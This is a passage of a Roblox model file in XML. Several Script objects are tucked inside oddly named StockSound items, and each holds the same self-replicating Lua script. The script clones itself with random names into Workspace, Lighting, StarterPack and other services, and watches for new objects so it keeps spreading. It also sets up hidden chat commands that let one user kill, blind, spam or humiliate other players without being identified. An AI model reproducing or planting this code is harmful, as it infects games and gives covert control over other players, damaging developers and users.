if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX90">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>17.0690994</X>
							<Y>1.29895926</Y>
							<Z>-0.902651131</Z>
							<R00>0.550176978</R00>
							<R01>1.14337033e-010</R01>
							<R02>-0.835048079</R02>
							<R10>1.28434832e-010</R10>
							<R11>1</R11>
							<R12>2.21542826e-010</R12>
							<R20>0.835048079</R20>
							<R21>-2.29137001e-010</R21>
							<R22>0.550176978</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX91">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ekt2n40</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX92">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mpvnwu</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Humanoid" referent="RBX93">
					<Properties>
						<float name="Health">100</float>
						<bool name="Jump">false</bool>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<bool name="Sit">false</bool>
						<bool name="Strafe">false</bool>
						<Vector3 name="TargetPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="WalkDirection">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="WalkRotationalVelocity">0</float>
						<float name="WalkSpeed">16</float>
						<Ref name="WalkToPart">null</Ref>
						<Vector3 name="WalkToPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX94">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">4gadbh</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX95">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ozpet</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
